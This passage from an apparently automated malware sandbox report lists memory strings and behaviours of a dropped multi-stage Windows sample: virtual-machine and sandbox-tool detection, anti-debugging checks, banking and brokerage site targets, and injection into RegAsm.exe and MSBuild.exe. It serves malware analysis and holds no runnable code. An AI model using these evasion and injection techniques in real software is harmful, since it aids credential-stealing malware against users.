Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.2913797282.00000000017EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .utiitsl.comVMware20,1169642865H
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: RegAsm.exe, 0000001E.00000002.3401541855.0000000001395000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ra Change Transaction PasswordVMware20,11696428655
Source: svchost.exe, 00000003.00000002.3396739526.000001100BE3C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (core)
Source: svchost.exe, 00000003.00000002.3396739526.000001100BE33000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000&00000
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696X
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 11 Essential Server Solutions without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: nickname.utiitsl.comVMware20,1169642865H
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: svchost.exe, 00000003.00000003.2087752839.000001100BE44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: xVBoxService.exe
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000003.3233367399.0000000001181000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: lrPP7Py6j59vWWqs5P8cBSO1.exe, 00000007.00000002.3403925451.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000003.3026947353.0000000000FB0000.00000004.00001000.00020000.00000000.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000003.3032309228.0000000000FB0000.00000004.00001000.00020000.00000000.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000003.3351104228.0000000000FE0000.00000004.00001000.00020000.00000000.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000003.3352503982.0000000000FE0000.00000004.00001000.00020000.00000000.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000002.3406275489.0000000002AE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlmp.exeSDT\VBOX__
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Windows 11 Server Standard without Hyper-V
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3404516846.0000000001181000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}B-
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: svchost.exe, 00000003.00000002.3396739526.000001100BE2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @\??\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3344538546.00000000076A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3404516846.000000000116B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000019.00000002.3632712817.0000000005302000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000003.2983751491.0000000000FB0000.00000004.00001000.00020000.00000000.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000003.2984876569.0000000000FB0000.00000004.00001000.00020000.00000000.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000003.3350118265.0000000000FE0000.00000004.00001000.00020000.00000000.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000003.3349242802.0000000000FE0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlp.exeSDT\VBOX__
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VBoxService.exe
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3391120497.0000000000193000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}HE
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 1Windows 11 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: svchost.exe, 00000003.00000002.3394920888.000001100BE02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VMWare
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.00000000017D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.0000000000CB7000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Windows 11 Microsoft Hyper-V Server

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Checks if the current process is being debugged

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Process queried: DebugPort

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe

Code function: 10_2_00CE9936 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

10_2_00CE9936

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe

Code function: 8_2_00418BB0 LoadLibraryA,GetProcAddress,

8_2_00418BB0

Contains functionality to read the PEB

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_0045D9F0 mov eax, dword ptr fs:[00000030h]	8_2_0045D9F0
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_0045D9F0 mov eax, dword ptr fs:[00000030h]	8_2_0045D9F0
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_004160B0 mov ecx, dword ptr fs:[00000030h]	8_2_004160B0
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_0041AB90 mov eax, dword ptr fs:[00000030h]	8_2_0041AB90
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_004146B0 mov eax, dword ptr fs:[00000030h]	8_2_004146B0
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00CF5844 mov eax, dword ptr fs:[00000030h]	10_2_00CF5844
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00CECBDC mov ecx, dword ptr fs:[00000030h]	10_2_00CECBDC
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00D1C0D3 mov eax, dword ptr fs:[00000030h]	10_2_00D1C0D3

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe

Code function: 8_2_004094C0 OutputDebugStringA,GetModuleHandleA,GetProcAddress,GetProcessHeap,RtlAllocateHeap,HeapFree,RtlAllocateHeap,HeapFree,

8_2_004094C0

Enables debug privileges

Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process token adjusted: Debug

Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00CE50E5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_00CE50E5
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00CE9936 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00CE9936
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00CE4E76 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00CE4E76
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00CE4FD2 SetUnhandledExceptionFilter,	10_2_00CE4FD2

Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write	Jump to behavior
